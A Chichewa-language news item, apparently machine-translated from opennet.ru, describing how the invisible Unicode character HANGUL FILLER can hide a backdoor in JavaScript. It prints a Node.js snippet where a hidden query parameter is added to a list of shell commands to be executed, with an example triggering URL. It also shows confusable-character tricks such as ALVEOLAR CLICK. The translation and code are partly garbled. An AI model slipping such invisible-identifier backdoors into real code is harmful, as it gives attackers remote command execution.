Kugwiritsa ntchito zilembo za unicode zosaoneka kubisa zochita mu JavaScript code

Kutsatira njira ya Trojan Source attack potengera kugwiritsa ntchito zilembo za Unicode zomwe zimasintha mawonekedwe amitundu iwiri, njira ina yodziwira zochita zobisika yasindikizidwa, yogwiritsidwa ntchito pa JavaScript code. Njira yatsopanoyi imachokera pakugwiritsa ntchito zilembo za unicode "ㅤ" (code 0x3164, "HANGUL FILLER"), yomwe ndi chilembo koma ilibe zowonekera. Gulu la Unicode lomwe munthuyu ali nalo laloledwa kuyambira ECMAScript 2015 kuti igwiritsidwe ntchito m'mayina osinthika a JavaScript, zomwe zimapangitsa kuti pakhale zosinthika zosawoneka kapena zatsopano zosazindikirika ndi zosintha zina zama code odziwika monga Notepad ++ ndi VS Code.

Mwachitsanzo, kachidindo ka nsanja ya Node.js imaperekedwa, momwe, pogwiritsa ntchito chosinthika chokhala ndi munthu m'modzi "ㅤ", chitseko chakumbuyo chimabisika chomwe chimakulolani kuti mupereke kachidindo kotchulidwa ndi wowukirayo: app.get( '/network_health', async (req, res) => {const {timeout,ㅤ} = req.query; // kwenikweni amati "const {timeout,ㅤ\u3164}" const checkCommands = ['ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // koma motsatiridwa ndi \u3164];

Poyang'ana koyamba, mtengo wokhawokha umadutsa pazigawo zakunja, ndipo mndandanda wa malamulo oti aphedwe uli ndi mndandanda wosasunthika wopanda vuto. Koma kwenikweni, pambuyo pa kutha kwa nthawi, mtengo wa mtundu wina wosawoneka ndi chizindikiro \u3164 umaperekedwa, womwe umalowetsedwanso m'malo angapo a malamulo omwe angatheke. Chifukwa chake, pamaso pazipangidwe zotere, wowukira amatha kutumiza pempho ngati "https://host:8080/network_health?%E3%85%A4=command" kuti atsegule chitseko chakumbuyo ndikutulutsa code yake.

Monga chitsanzo china, wotchulidwa "ǃ" (ALVEOLAR CLICK) waperekedwa, yemwe angagwiritsidwe ntchito kusonyeza kufuula. Mwachitsanzo, mawu oti "if(environmentǃ=ENV_PROD){" akagwiritsidwa ntchito mu Node.js 14 adzakhala owona nthawi zonse, chifukwa sayang'ana kusiyana, koma amakhazikitsa "environmentǃ" ku ENV_PROD. Zilembo zosokeretsa za unicode ndi "／", "−", "＋", "⩵", "❨", "⫽", "꓿", ndi "∗".

Source: opennet.ru